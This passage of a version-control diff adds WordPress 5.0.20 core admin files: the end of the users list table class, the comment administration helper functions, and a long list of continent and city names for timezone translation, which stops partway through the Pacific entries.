+				$actions['remove'] = "<a class='submitdelete' href='" . wp_nonce_url( $url."action=remove&amp;user=$user_object->ID", 'bulk-users' ) . "'>" . __( 'Remove' ) . "</a>";
+
+			// Add a link to the user's author archive, if not empty.
+			$author_posts_url = get_author_posts_url( $user_object->ID );
+			if ( $author_posts_url ) {
+				$actions['view'] = sprintf(
+					'<a href="%s" aria-label="%s">%s</a>',
+					esc_url( $author_posts_url ),
+					/* translators: %s: author's display name */
+					esc_attr( sprintf( __( 'View posts by %s' ), $user_object->display_name ) ),
+					__( 'View' )
+				);
+			}
+
+			/**
+			 * Filters the action links displayed under each user in the Users list table.
+			 *
+			 * @since 2.8.0
+			 *
+			 * @param array   $actions     An array of action links to be displayed.
+			 *                             Default 'Edit', 'Delete' for single site, and
+			 *                             'Edit', 'Remove' for Multisite.
+			 * @param WP_User $user_object WP_User object for the currently-listed user.
+			 */
+			$actions = apply_filters( 'user_row_actions', $actions, $user_object );
+
+			// Role classes.
+			$role_classes = esc_attr( implode( ' ', array_keys( $user_roles ) ) );
+
+			// Set up the checkbox ( because the user is editable, otherwise it's empty )
+			$checkbox = '<label class="screen-reader-text" for="user_' . $user_object->ID . '">' . sprintf( __( 'Select %s' ), $user_object->user_login ) . '</label>'
+						. "<input type='checkbox' name='users[]' id='user_{$user_object->ID}' class='{$role_classes}' value='{$user_object->ID}' />";
+
+		} else {
+			$edit = "<strong>{$user_object->user_login}{$super_admin}</strong>";
+		}
+		$avatar = get_avatar( $user_object->ID, 32 );
+
+		// Comma-separated list of user roles.
+		$roles_list = implode( ', ', $user_roles );
+
+		$r = "<tr id='user-$user_object->ID'>";
+
+		list( $columns, $hidden, $sortable, $primary ) = $this->get_column_info();
+
+		foreach ( $columns as $column_name => $column_display_name ) {
+			$classes = "$column_name column-$column_name";
+			if ( $primary === $column_name ) {
+				$classes .= ' has-row-actions column-primary';
+			}
+			if ( 'posts' === $column_name ) {
+				$classes .= ' num'; // Special case for that column
+			}
+
+			if ( in_array( $column_name, $hidden ) ) {
+				$classes .= ' hidden';
+			}
+
+			$data = 'data-colname="' . wp_strip_all_tags( $column_display_name ) . '"';
+
+			$attributes = "class='$classes' $data";
+
+			if ( 'cb' === $column_name ) {
+				$r .= "<th scope='row' class='check-column'>$checkbox</th>";
+			} else {
+				$r .= "<td $attributes>";
+				switch ( $column_name ) {
+					case 'username':
+						$r .= "$avatar $edit";
+						break;
+					case 'name':
+						if ( $user_object->first_name && $user_object->last_name ) {
+							$r .= "$user_object->first_name $user_object->last_name";
+						} elseif ( $user_object->first_name ) {
+							$r .= $user_object->first_name;
+						} elseif ( $user_object->last_name ) {
+							$r .= $user_object->last_name;
+						} else {
+							$r .= '<span aria-hidden="true">&#8212;</span><span class="screen-reader-text">' . _x( 'Unknown', 'name' ) . '</span>';
+						}
+						break;
+					case 'email':
+						$r .= "<a href='" . esc_url( "mailto:$email" ) . "'>$email</a>";
+						break;
+					case 'role':
+						$r .= esc_html( $roles_list );
+						break;
+					case 'posts':
+						if ( $numposts > 0 ) {
+							$r .= "<a href='edit.php?author=$user_object->ID' class='edit'>";
+							$r .= '<span aria-hidden="true">' . $numposts . '</span>';
+							$r .= '<span class="screen-reader-text">' . sprintf( _n( '%s post by this author', '%s posts by this author', $numposts ), number_format_i18n( $numposts ) ) . '</span>';
+							$r .= '</a>';
+						} else {
+							$r .= 0;
+						}
+						break;
+					default:
+						/**
+						 * Filters the display output of custom columns in the Users list table.
+						 *
+						 * @since 2.8.0
+						 *
+						 * @param string $output      Custom column output. Default empty.
+						 * @param string $column_name Column name.
+						 * @param int    $user_id     ID of the currently-listed user.
+						 */
+						$r .= apply_filters( 'manage_users_custom_column', '', $column_name, $user_object->ID );
+				}
+
+				if ( $primary === $column_name ) {
+					$r .= $this->row_actions( $actions );
+				}
+				$r .= "</td>";
+			}
+		}
+		$r .= '</tr>';
+
+		return $r;
+	}
+
+	/**
+	 * Gets the name of the default primary column.
+	 *
+	 * @since 4.3.0
+	 *
+	 * @return string Name of the default primary column, in this case, 'username'.
+	 */
+	protected function get_default_primary_column_name() {
+		return 'username';
+	}
+
+	/**
+	 * Returns an array of user roles for a given user object.
+	 *
+	 * @since 4.4.0
+	 *
+	 * @param WP_User $user_object The WP_User object.
+	 * @return array An array of user roles.
+	 */
+	protected function get_role_list( $user_object ) {
+		$wp_roles = wp_roles();
+
+		$role_list = array();
+
+		foreach ( $user_object->roles as $role ) {
+			if ( isset( $wp_roles->role_names[ $role ] ) ) {
+				$role_list[ $role ] = translate_user_role( $wp_roles->role_names[ $role ] );
+			}
+		}
+
+		if ( empty( $role_list ) ) {
+			$role_list['none'] = _x( 'None', 'no user roles' );
+		}
+
+		/**
+		 * Filters the returned array of roles for a user.
+		 *
+		 * @since 4.4.0
+		 *
+		 * @param array   $role_list   An array of user roles.
+		 * @param WP_User $user_object A WP_User object.
+		 */
+		return apply_filters( 'get_role_list', $role_list, $user_object );
+	}
+
+}
Index: /tags/5.0.20/src/wp-admin/includes/comment.php
===================================================================
--- /tags/5.0.20/src/wp-admin/includes/comment.php	(revision 56912)
+++ /tags/5.0.20/src/wp-admin/includes/comment.php	(revision 56912)
@@ -0,0 +1,196 @@
+<?php
+/**
+ * WordPress Comment Administration API.
+ *
+ * @package WordPress
+ * @subpackage Administration
+ * @since 2.3.0
+ */
+
+/**
+ * Determine if a comment exists based on author and date.
+ *
+ * For best performance, use `$timezone = 'gmt'`, which queries a field that is properly indexed. The default value
+ * for `$timezone` is 'blog' for legacy reasons.
+ *
+ * @since 2.0.0
+ * @since 4.4.0 Added the `$timezone` parameter.
+ *
+ * @global wpdb $wpdb WordPress database abstraction object.
+ *
+ * @param string $comment_author Author of the comment.
+ * @param string $comment_date   Date of the comment.
+ * @param string $timezone       Timezone. Accepts 'blog' or 'gmt'. Default 'blog'.
+ *
+ * @return mixed Comment post ID on success.
+ */
+function comment_exists( $comment_author, $comment_date, $timezone = 'blog' ) {
+	global $wpdb;
+
+	$date_field = 'comment_date';
+	if ( 'gmt' === $timezone ) {
+		$date_field = 'comment_date_gmt';
+	}
+
+	return $wpdb->get_var( $wpdb->prepare("SELECT comment_post_ID FROM $wpdb->comments
+			WHERE comment_author = %s AND $date_field = %s",
+			stripslashes( $comment_author ),
+			stripslashes( $comment_date )
+	) );
+}
+
+/**
+ * Update a comment with values provided in $_POST.
+ *
+ * @since 2.0.0
+ */
+function edit_comment() {
+	if ( ! current_user_can( 'edit_comment', (int) $_POST['comment_ID'] ) )
+		wp_die ( __( 'Sorry, you are not allowed to edit comments on this post.' ) );
+
+	if ( isset( $_POST['newcomment_author'] ) )
+		$_POST['comment_author'] = $_POST['newcomment_author'];
+	if ( isset( $_POST['newcomment_author_email'] ) )
+		$_POST['comment_author_email'] = $_POST['newcomment_author_email'];
+	if ( isset( $_POST['newcomment_author_url'] ) )
+		$_POST['comment_author_url'] = $_POST['newcomment_author_url'];
+	if ( isset( $_POST['comment_status'] ) )
+		$_POST['comment_approved'] = $_POST['comment_status'];
+	if ( isset( $_POST['content'] ) )
+		$_POST['comment_content'] = $_POST['content'];
+	if ( isset( $_POST['comment_ID'] ) )
+		$_POST['comment_ID'] = (int) $_POST['comment_ID'];
+
+	foreach ( array ('aa', 'mm', 'jj', 'hh', 'mn') as $timeunit ) {
+		if ( !empty( $_POST['hidden_' . $timeunit] ) && $_POST['hidden_' . $timeunit] != $_POST[$timeunit] ) {
+			$_POST['edit_date'] = '1';
+			break;
+		}
+	}
+
+	if ( !empty ( $_POST['edit_date'] ) ) {
+		$aa = $_POST['aa'];
+		$mm = $_POST['mm'];
+		$jj = $_POST['jj'];
+		$hh = $_POST['hh'];
+		$mn = $_POST['mn'];
+		$ss = $_POST['ss'];
+		$jj = ($jj > 31 ) ? 31 : $jj;
+		$hh = ($hh > 23 ) ? $hh -24 : $hh;
+		$mn = ($mn > 59 ) ? $mn -60 : $mn;
+		$ss = ($ss > 59 ) ? $ss -60 : $ss;
+		$_POST['comment_date'] = "$aa-$mm-$jj $hh:$mn:$ss";
+	}
+
+	wp_update_comment( $_POST );
+}
+
+/**
+ * Returns a WP_Comment object based on comment ID.
+ *
+ * @since 2.0.0
+ *
+ * @param int $id ID of comment to retrieve.
+ * @return WP_Comment|false Comment if found. False on failure.
+ */
+function get_comment_to_edit( $id ) {
+	if ( !$comment = get_comment($id) )
+		return false;
+
+	$comment->comment_ID = (int) $comment->comment_ID;
+	$comment->comment_post_ID = (int) $comment->comment_post_ID;
+
+	$comment->comment_content = format_to_edit( $comment->comment_content );
+	/**
+	 * Filters the comment content before editing.
+	 *
+	 * @since 2.0.0
+	 *
+	 * @param string $comment->comment_content Comment content.
+	 */
+	$comment->comment_content = apply_filters( 'comment_edit_pre', $comment->comment_content );
+
+	$comment->comment_author = format_to_edit( $comment->comment_author );
+	$comment->comment_author_email = format_to_edit( $comment->comment_author_email );
+	$comment->comment_author_url = format_to_edit( $comment->comment_author_url );
+	$comment->comment_author_url = esc_url($comment->comment_author_url);
+
+	return $comment;
+}
+
+/**
+ * Get the number of pending comments on a post or posts
+ *
+ * @since 2.3.0
+ *
+ * @global wpdb $wpdb WordPress database abstraction object.
+ *
+ * @param int|array $post_id Either a single Post ID or an array of Post IDs
+ * @return int|array Either a single Posts pending comments as an int or an array of ints keyed on the Post IDs
+ */
+function get_pending_comments_num( $post_id ) {
+	global $wpdb;
+
+	$single = false;
+	if ( !is_array($post_id) ) {
+		$post_id_array = (array) $post_id;
+		$single = true;
+	} else {
+		$post_id_array = $post_id;
+	}
+	$post_id_array = array_map('intval', $post_id_array);
+	$post_id_in = "'" . implode("', '", $post_id_array) . "'";
+
+	$pending = $wpdb->get_results( "SELECT comment_post_ID, COUNT(comment_ID) as num_comments FROM $wpdb->comments WHERE comment_post_ID IN ( $post_id_in ) AND comment_approved = '0' GROUP BY comment_post_ID", ARRAY_A );
+
+	if ( $single ) {
+		if ( empty($pending) )
+			return 0;
+		else
+			return absint($pending[0]['num_comments']);
+	}
+
+	$pending_keyed = array();
+
+	// Default to zero pending for all posts in request
+	foreach ( $post_id_array as $id )
+		$pending_keyed[$id] = 0;
+
+	if ( !empty($pending) )
+		foreach ( $pending as $pend )
+			$pending_keyed[$pend['comment_post_ID']] = absint($pend['num_comments']);
+
+	return $pending_keyed;
+}
+
+/**
+ * Add avatars to relevant places in admin, or try to.
+ *
+ * @since 2.5.0
+ *
+ * @param string $name User name.
+ * @return string Avatar with Admin name.
+ */
+function floated_admin_avatar( $name ) {
+	$avatar = get_avatar( get_comment(), 32, 'mystery' );
+	return "$avatar $name";
+}
+
+/**
+ * @since 2.7.0
+ */
+function enqueue_comment_hotkeys_js() {
+	if ( 'true' == get_user_option( 'comment_shortcuts' ) )
+		wp_enqueue_script( 'jquery-table-hotkeys' );
+}
+
+/**
+ * Display error message at bottom of comments.
+ *
+ * @param string $msg Error Message. Assumed to contain HTML and be sanitized.
+ */
+function comment_footer_die( $msg ) {
+	echo "<div class='wrap'><p>$msg</p></div>";
+	include( ABSPATH . 'wp-admin/admin-footer.php' );
+	die;
+}
Index: /tags/5.0.20/src/wp-admin/includes/continents-cities.php
===================================================================
--- /tags/5.0.20/src/wp-admin/includes/continents-cities.php	(revision 56912)
+++ /tags/5.0.20/src/wp-admin/includes/continents-cities.php	(revision 56912)
@@ -0,0 +1,554 @@
+<?php
+/**
+ * Translation API: Continent and city translations for timezone selection
+ *
+ * This file is not included anywhere. It exists solely for use by xgettext.
+ *
+ * @package WordPress
+ * @subpackage i18n
+ * @since 2.8.0
+ */
+
+__('Africa', 'continents-cities');
+__('Abidjan', 'continents-cities');
+__('Accra', 'continents-cities');
+__('Addis Ababa', 'continents-cities');
+__('Algiers', 'continents-cities');
+__('Asmara', 'continents-cities');
+__('Asmera', 'continents-cities');
+__('Bamako', 'continents-cities');
+__('Bangui', 'continents-cities');
+__('Banjul', 'continents-cities');
+__('Bissau', 'continents-cities');
+__('Blantyre', 'continents-cities');
+__('Brazzaville', 'continents-cities');
+__('Bujumbura', 'continents-cities');
+__('Cairo', 'continents-cities');
+__('Casablanca', 'continents-cities');
+__('Ceuta', 'continents-cities');
+__('Conakry', 'continents-cities');
+__('Dakar', 'continents-cities');
+__('Dar es Salaam', 'continents-cities');
+__('Djibouti', 'continents-cities');
+__('Douala', 'continents-cities');
+__('El Aaiun', 'continents-cities');
+__('Freetown', 'continents-cities');
+__('Gaborone', 'continents-cities');
+__('Harare', 'continents-cities');
+__('Johannesburg', 'continents-cities');
+__('Juba', 'continents-cities');
+__('Kampala', 'continents-cities');
+__('Khartoum', 'continents-cities');
+__('Kigali', 'continents-cities');
+__('Kinshasa', 'continents-cities');
+__('Lagos', 'continents-cities');
+__('Libreville', 'continents-cities');
+__('Lome', 'continents-cities');
+__('Luanda', 'continents-cities');
+__('Lubumbashi', 'continents-cities');
+__('Lusaka', 'continents-cities');
+__('Malabo', 'continents-cities');
+__('Maputo', 'continents-cities');
+__('Maseru', 'continents-cities');
+__('Mbabane', 'continents-cities');
+__('Mogadishu', 'continents-cities');
+__('Monrovia', 'continents-cities');
+__('Nairobi', 'continents-cities');
+__('Ndjamena', 'continents-cities');
+__('Niamey', 'continents-cities');
+__('Nouakchott', 'continents-cities');
+__('Ouagadougou', 'continents-cities');
+__('Porto-Novo', 'continents-cities');
+__('Sao Tome', 'continents-cities');
+__('Timbuktu', 'continents-cities');
+__('Tripoli', 'continents-cities');
+__('Tunis', 'continents-cities');
+__('Windhoek', 'continents-cities');
+
+__('America', 'continents-cities');
+__('Adak', 'continents-cities');
+__('Anchorage', 'continents-cities');
+__('Anguilla', 'continents-cities');
+__('Antigua', 'continents-cities');
+__('Araguaina', 'continents-cities');
+__('Argentina', 'continents-cities');
+__('Buenos Aires', 'continents-cities');
+__('Catamarca', 'continents-cities');
+__('ComodRivadavia', 'continents-cities');
+__('Cordoba', 'continents-cities');
+__('Jujuy', 'continents-cities');
+__('La Rioja', 'continents-cities');
+__('Mendoza', 'continents-cities');
+__('Rio Gallegos', 'continents-cities');
+__('Salta', 'continents-cities');
+__('San Juan', 'continents-cities');
+__('San Luis', 'continents-cities');
+__('Tucuman', 'continents-cities');
+__('Ushuaia', 'continents-cities');
+__('Aruba', 'continents-cities');
+__('Asuncion', 'continents-cities');
+__('Atikokan', 'continents-cities');
+__('Atka', 'continents-cities');
+__('Bahia', 'continents-cities');
+__('Bahia Banderas', 'continents-cities');
+__('Barbados', 'continents-cities');
+__('Belem', 'continents-cities');
+__('Belize', 'continents-cities');
+__('Blanc-Sablon', 'continents-cities');
+__('Boa Vista', 'continents-cities');
+__('Bogota', 'continents-cities');
+__('Boise', 'continents-cities');
+__('Buenos Aires', 'continents-cities');
+__('Cambridge Bay', 'continents-cities');
+__('Campo Grande', 'continents-cities');
+__('Cancun', 'continents-cities');
+__('Caracas', 'continents-cities');
+__('Catamarca', 'continents-cities');
+__('Cayenne', 'continents-cities');
+__('Cayman', 'continents-cities');
+__('Chicago', 'continents-cities');
+__('Chihuahua', 'continents-cities');
+__('Coral Harbour', 'continents-cities');
+__('Cordoba', 'continents-cities');
+__('Costa Rica', 'continents-cities');
+__('Creston', 'continents-cities');
+__('Cuiaba', 'continents-cities');
+__('Curacao', 'continents-cities');
+__('Danmarkshavn', 'continents-cities');
+__('Dawson', 'continents-cities');
+__('Dawson Creek', 'continents-cities');
+__('Denver', 'continents-cities');
+__('Detroit', 'continents-cities');
+__('Dominica', 'continents-cities');
+__('Edmonton', 'continents-cities');
+__('Eirunepe', 'continents-cities');
+__('El Salvador', 'continents-cities');
+__('Ensenada', 'continents-cities');
+__('Fort Nelson', 'continents-cities');
+__('Fort Wayne', 'continents-cities');
+__('Fortaleza', 'continents-cities');
+__('Glace Bay', 'continents-cities');
+__('Godthab', 'continents-cities');
+__('Goose Bay', 'continents-cities');
+__('Grand Turk', 'continents-cities');
+__('Grenada', 'continents-cities');
+__('Guadeloupe', 'continents-cities');
+__('Guatemala', 'continents-cities');
+__('Guayaquil', 'continents-cities');
+__('Guyana', 'continents-cities');
+__('Halifax', 'continents-cities');
+__('Havana', 'continents-cities');
+__('Hermosillo', 'continents-cities');
+__('Indiana', 'continents-cities');
+__('Indianapolis', 'continents-cities');
+__('Knox', 'continents-cities');
+__('Marengo', 'continents-cities');
+__('Petersburg', 'continents-cities');
+__('Tell City', 'continents-cities');
+__('Vevay', 'continents-cities');
+__('Vincennes', 'continents-cities');
+__('Winamac', 'continents-cities');
+__('Indianapolis', 'continents-cities');
+__('Inuvik', 'continents-cities');
+__('Iqaluit', 'continents-cities');
+__('Jamaica', 'continents-cities');
+__('Jujuy', 'continents-cities');
+__('Juneau', 'continents-cities');
+__('Kentucky', 'continents-cities');
+__('Louisville', 'continents-cities');
+__('Monticello', 'continents-cities');
+__('Knox IN', 'continents-cities');
+__('Kralendijk', 'continents-cities');
+__('La Paz', 'continents-cities');
+__('Lima', 'continents-cities');
+__('Los Angeles', 'continents-cities');
+__('Louisville', 'continents-cities');
+__('Lower Princes', 'continents-cities');
+__('Maceio', 'continents-cities');
+__('Managua', 'continents-cities');
+__('Manaus', 'continents-cities');
+__('Marigot', 'continents-cities');
+__('Martinique', 'continents-cities');
+__('Matamoros', 'continents-cities');
+__('Mazatlan', 'continents-cities');
+__('Mendoza', 'continents-cities');
+__('Menominee', 'continents-cities');
+__('Merida', 'continents-cities');
+__('Metlakatla', 'continents-cities');
+__('Mexico City', 'continents-cities');
+__('Miquelon', 'continents-cities');
+__('Moncton', 'continents-cities');
+__('Monterrey', 'continents-cities');
+__('Montevideo', 'continents-cities');
+__('Montreal', 'continents-cities');
+__('Montserrat', 'continents-cities');
+__('Nassau', 'continents-cities');
+__('New York', 'continents-cities');
+__('Nipigon', 'continents-cities');
+__('Nome', 'continents-cities');
+__('Noronha', 'continents-cities');
+__('North Dakota', 'continents-cities');
+__('Beulah', 'continents-cities');
+__('Center', 'continents-cities');
+__('New Salem', 'continents-cities');
+__('Ojinaga', 'continents-cities');
+__('Panama', 'continents-cities');
+__('Pangnirtung', 'continents-cities');
+__('Paramaribo', 'continents-cities');
+__('Phoenix', 'continents-cities');
+__('Port of Spain', 'continents-cities');
+__('Port-au-Prince', 'continents-cities');
+__('Porto Acre', 'continents-cities');
+__('Porto Velho', 'continents-cities');
+__('Puerto Rico', 'continents-cities');
+__('Punta Arenas', 'continents-cities');
+__('Rainy River', 'continents-cities');
+__('Rankin Inlet', 'continents-cities');
+__('Recife', 'continents-cities');
+__('Regina', 'continents-cities');
+__('Resolute', 'continents-cities');
+__('Rio Branco', 'continents-cities');
+__('Rosario', 'continents-cities');
+__('Santa Isabel', 'continents-cities');
+__('Santarem', 'continents-cities');
+__('Santiago', 'continents-cities');
+__('Santo Domingo', 'continents-cities');
+__('Sao Paulo', 'continents-cities');
+__('Scoresbysund', 'continents-cities');
+__('Shiprock', 'continents-cities');
+__('Sitka', 'continents-cities');
+__('St Barthelemy', 'continents-cities');
+__('St Johns', 'continents-cities');
+__('St Kitts', 'continents-cities');
+__('St Lucia', 'continents-cities');
+__('St Thomas', 'continents-cities');
+__('St Vincent', 'continents-cities');
+__('Swift Current', 'continents-cities');
+__('Tegucigalpa', 'continents-cities');
+__('Thule', 'continents-cities');
+__('Thunder Bay', 'continents-cities');
+__('Tijuana', 'continents-cities');
+__('Toronto', 'continents-cities');
+__('Tortola', 'continents-cities');
+__('Vancouver', 'continents-cities');
+__('Virgin', 'continents-cities');
+__('Whitehorse', 'continents-cities');
+__('Winnipeg', 'continents-cities');
+__('Yakutat', 'continents-cities');
+__('Yellowknife', 'continents-cities');
+
+__('Antarctica', 'continents-cities');
+__('Casey', 'continents-cities');
+__('Davis', 'continents-cities');
+__('DumontDUrville', 'continents-cities');
+__('Macquarie', 'continents-cities');
+__('Mawson', 'continents-cities');
+__('McMurdo', 'continents-cities');
+__('Palmer', 'continents-cities');
+__('Rothera', 'continents-cities');
+__('South Pole', 'continents-cities');
+__('Syowa', 'continents-cities');
+__('Troll', 'continents-cities');
+__('Vostok', 'continents-cities');
+
+__('Arctic', 'continents-cities');
+__('Longyearbyen', 'continents-cities');
+
+__('Asia', 'continents-cities');
+__('Aden', 'continents-cities');
+__('Almaty', 'continents-cities');
+__('Amman', 'continents-cities');
+__('Anadyr', 'continents-cities');
+__('Aqtau', 'continents-cities');
+__('Aqtobe', 'continents-cities');
+__('Ashgabat', 'continents-cities');
+__('Ashkhabad', 'continents-cities');
+__('Atyrau', 'continents-cities');
+__('Baghdad', 'continents-cities');
+__('Bahrain', 'continents-cities');
+__('Baku', 'continents-cities');
+__('Bangkok', 'continents-cities');
+__('Barnaul', 'continents-cities');
+__('Beirut', 'continents-cities');
+__('Bishkek', 'continents-cities');
+__('Brunei', 'continents-cities');
+__('Calcutta', 'continents-cities');
+__('Chita', 'continents-cities');
+__('Choibalsan', 'continents-cities');
+__('Chongqing', 'continents-cities');
+__('Chungking', 'continents-cities');
+__('Colombo', 'continents-cities');
+__('Dacca', 'continents-cities');
+__('Damascus', 'continents-cities');
+__('Dhaka', 'continents-cities');
+__('Dili', 'continents-cities');
+__('Dubai', 'continents-cities');
+__('Dushanbe', 'continents-cities');
+__('Famagusta', 'continents-cities');
+__('Gaza', 'continents-cities');
+__('Harbin', 'continents-cities');
+__('Hebron', 'continents-cities');
+__('Ho Chi Minh', 'continents-cities');
+__('Hong Kong', 'continents-cities');
+__('Hovd', 'continents-cities');
+__('Irkutsk', 'continents-cities');
+__('Istanbul', 'continents-cities');
+__('Jakarta', 'continents-cities');
+__('Jayapura', 'continents-cities');
+__('Jerusalem', 'continents-cities');
+__('Kabul', 'continents-cities');
+__('Kamchatka', 'continents-cities');
+__('Karachi', 'continents-cities');
+__('Kashgar', 'continents-cities');
+__('Kathmandu', 'continents-cities');
+__('Katmandu', 'continents-cities');
+__('Khandyga', 'continents-cities');
+__('Kolkata', 'continents-cities');
+__('Krasnoyarsk', 'continents-cities');
+__('Kuala Lumpur', 'continents-cities');
+__('Kuching', 'continents-cities');
+__('Kuwait', 'continents-cities');
+__('Macao', 'continents-cities');
+__('Macau', 'continents-cities');
+__('Magadan', 'continents-cities');
+__('Makassar', 'continents-cities');
+__('Manila', 'continents-cities');
+__('Muscat', 'continents-cities');
+__('Nicosia', 'continents-cities');
+__('Novokuznetsk', 'continents-cities');
+__('Novosibirsk', 'continents-cities');
+__('Omsk', 'continents-cities');
+__('Oral', 'continents-cities');
+__('Phnom Penh', 'continents-cities');
+__('Pontianak', 'continents-cities');
+__('Pyongyang', 'continents-cities');
+__('Qatar', 'continents-cities');
+__('Qyzylorda', 'continents-cities');
+__('Rangoon', 'continents-cities');
+__('Riyadh', 'continents-cities');
+__('Saigon', 'continents-cities');
+__('Sakhalin', 'continents-cities');
+__('Samarkand', 'continents-cities');
+__('Seoul', 'continents-cities');
+__('Shanghai', 'continents-cities');
+__('Singapore', 'continents-cities');
+__('Srednekolymsk', 'continents-cities');
+__('Taipei', 'continents-cities');
+__('Tashkent', 'continents-cities');
+__('Tbilisi', 'continents-cities');
+__('Tehran', 'continents-cities');
+__('Tel Aviv', 'continents-cities');
+__('Thimbu', 'continents-cities');
+__('Thimphu', 'continents-cities');
+__('Tokyo', 'continents-cities');
+__('Tomsk', 'continents-cities');
+__('Ujung Pandang', 'continents-cities');
+__('Ulaanbaatar', 'continents-cities');
+__('Ulan Bator', 'continents-cities');
+__('Urumqi', 'continents-cities');
+__('Ust-Nera', 'continents-cities');
+__('Vientiane', 'continents-cities');
+__('Vladivostok', 'continents-cities');
+__('Yakutsk', 'continents-cities');
+__('Yangon', 'continents-cities');
+__('Yekaterinburg', 'continents-cities');
+__('Yerevan', 'continents-cities');
+
+__('Atlantic', 'continents-cities');
+__('Azores', 'continents-cities');
+__('Bermuda', 'continents-cities');
+__('Canary', 'continents-cities');
+__('Cape Verde', 'continents-cities');
+__('Faeroe', 'continents-cities');
+__('Faroe', 'continents-cities');
+__('Jan Mayen', 'continents-cities');
+__('Madeira', 'continents-cities');
+__('Reykjavik', 'continents-cities');
+__('South Georgia', 'continents-cities');
+__('St Helena', 'continents-cities');
+__('Stanley', 'continents-cities');
+
+__('Australia', 'continents-cities');
+__('ACT', 'continents-cities');
+__('Adelaide', 'continents-cities');
+__('Brisbane', 'continents-cities');
+__('Broken Hill', 'continents-cities');
+__('Canberra', 'continents-cities');
+__('Currie', 'continents-cities');
+__('Darwin', 'continents-cities');
+__('Eucla', 'continents-cities');
+__('Hobart', 'continents-cities');
+__('LHI', 'continents-cities');
+__('Lindeman', 'continents-cities');
+__('Lord Howe', 'continents-cities');
+__('Melbourne', 'continents-cities');
+__('NSW', 'continents-cities');
+__('North', 'continents-cities');
+__('Perth', 'continents-cities');
+__('Queensland', 'continents-cities');
+__('South', 'continents-cities');
+__('Sydney', 'continents-cities');
+__('Tasmania', 'continents-cities');
+__('Victoria', 'continents-cities');
+__('West', 'continents-cities');
+__('Yancowinna', 'continents-cities');
+
+__('Etc', 'continents-cities');
+__('GMT', 'continents-cities');
+__('GMT+0', 'continents-cities');
+__('GMT+1', 'continents-cities');
+__('GMT+10', 'continents-cities');
+__('GMT+11', 'continents-cities');
+__('GMT+12', 'continents-cities');
+__('GMT+2', 'continents-cities');
+__('GMT+3', 'continents-cities');
+__('GMT+4', 'continents-cities');
+__('GMT+5', 'continents-cities');
+__('GMT+6', 'continents-cities');
+__('GMT+7', 'continents-cities');
+__('GMT+8', 'continents-cities');
+__('GMT+9', 'continents-cities');
+__('GMT-0', 'continents-cities');
+__('GMT-1', 'continents-cities');
+__('GMT-10', 'continents-cities');
+__('GMT-11', 'continents-cities');
+__('GMT-12', 'continents-cities');
+__('GMT-13', 'continents-cities');
+__('GMT-14', 'continents-cities');
+__('GMT-2', 'continents-cities');
+__('GMT-3', 'continents-cities');
+__('GMT-4', 'continents-cities');
+__('GMT-5', 'continents-cities');
+__('GMT-6', 'continents-cities');
+__('GMT-7', 'continents-cities');
+__('GMT-8', 'continents-cities');
+__('GMT-9', 'continents-cities');
+__('GMT0', 'continents-cities');
+__('Greenwich', 'continents-cities');
+__('UCT', 'continents-cities');
+__('UTC', 'continents-cities');
+__('Universal', 'continents-cities');
+__('Zulu', 'continents-cities');
+
+__('Europe', 'continents-cities');
+__('Amsterdam', 'continents-cities');
+__('Andorra', 'continents-cities');
+__('Astrakhan', 'continents-cities');
+__('Athens', 'continents-cities');
+__('Belfast', 'continents-cities');
+__('Belgrade', 'continents-cities');
+__('Berlin', 'continents-cities');
+__('Bratislava', 'continents-cities');
+__('Brussels', 'continents-cities');
+__('Bucharest', 'continents-cities');
+__('Budapest', 'continents-cities');
+__('Busingen', 'continents-cities');
+__('Chisinau', 'continents-cities');
+__('Copenhagen', 'continents-cities');
+__('Dublin', 'continents-cities');
+__('Gibraltar', 'continents-cities');
+__('Guernsey', 'continents-cities');
+__('Helsinki', 'continents-cities');
+__('Isle of Man', 'continents-cities');
+__('Istanbul', 'continents-cities');
+__('Jersey', 'continents-cities');
+__('Kaliningrad', 'continents-cities');
+__('Kiev', 'continents-cities');
+__('Kirov', 'continents-cities');
+__('Lisbon', 'continents-cities');
+__('Ljubljana', 'continents-cities');
+__('London', 'continents-cities');
+__('Luxembourg', 'continents-cities');
+__('Madrid', 'continents-cities');
+__('Malta', 'continents-cities');
+__('Mariehamn', 'continents-cities');
+__('Minsk', 'continents-cities');
+__('Monaco', 'continents-cities');
+__('Moscow', 'continents-cities');
+__('Nicosia', 'continents-cities');
+__('Oslo', 'continents-cities');
+__('Paris', 'continents-cities');
+__('Podgorica', 'continents-cities');
+__('Prague', 'continents-cities');
+__('Riga', 'continents-cities');
+__('Rome', 'continents-cities');
+__('Samara', 'continents-cities');
+__('San Marino', 'continents-cities');
+__('Sarajevo', 'continents-cities');
+__('Saratov', 'continents-cities');
+__('Simferopol', 'continents-cities');
+__('Skopje', 'continents-cities');
+__('Sofia', 'continents-cities');
+__('Stockholm', 'continents-cities');
+__('Tallinn', 'continents-cities');
+__('Tirane', 'continents-cities');
+__('Tiraspol', 'continents-cities');
+__('Ulyanovsk', 'continents-cities');
+__('Uzhgorod', 'continents-cities');
+__('Vaduz', 'continents-cities');
+__('Vatican', 'continents-cities');
+__('Vienna', 'continents-cities');
+__('Vilnius', 'continents-cities');
+__('Volgograd', 'continents-cities');
+__('Warsaw', 'continents-cities');
+__('Zagreb', 'continents-cities');
+__('Zaporozhye', 'continents-cities');
+__('Zurich', 'continents-cities');
+
+__('Indian', 'continents-cities');
+__('Antananarivo', 'continents-cities');
+__('Chagos', 'continents-cities');
+__('Christmas', 'continents-cities');
+__('Cocos', 'continents-cities');
+__('Comoro', 'continents-cities');
+__('Kerguelen', 'continents-cities');
+__('Mahe', 'continents-cities');
+__('Maldives', 'continents-cities');
+__('Mauritius', 'continents-cities');
+__('Mayotte', 'continents-cities');
+__('Reunion', 'continents-cities');
+
+__('Pacific', 'continents-cities');
+__('Apia', 'continents-cities');
+__('Auckland', 'continents-cities');
+__('Bougainville', 'continents-cities');
+__('Chatham', 'continents-cities');
+__('Chuuk', 'continents-cities');
+__('Easter', 'continents-cities');
+__('Efate', 'continents-cities');
+__('Enderbury', 'continents-cities');
+__('Fakaofo', 'continents-cities');
+__('Fiji', 'continents-cities');
+__('Funafuti', 'continents-cities');
+__('Galapagos', 'continents-cities');
+__('Gambier', 'continents-cities');
+__('Guadalcanal', 'continents-cities');
+__('Guam', 'continents-cities');
+__('Honolulu', 'continents-cities');
+__('Johnston', 'continents-cities');
+__('Kiritimati', 'continents-cities');
+__('Kosrae', 'continents-cities');
+__('Kwajalein', 'continents-cities');
+__('Majuro', 'continents-cities');
+__('Marquesas', 'continents-cities');
+__('Midway', 'continents-cities');
+__('Nauru', 'continents-cities');
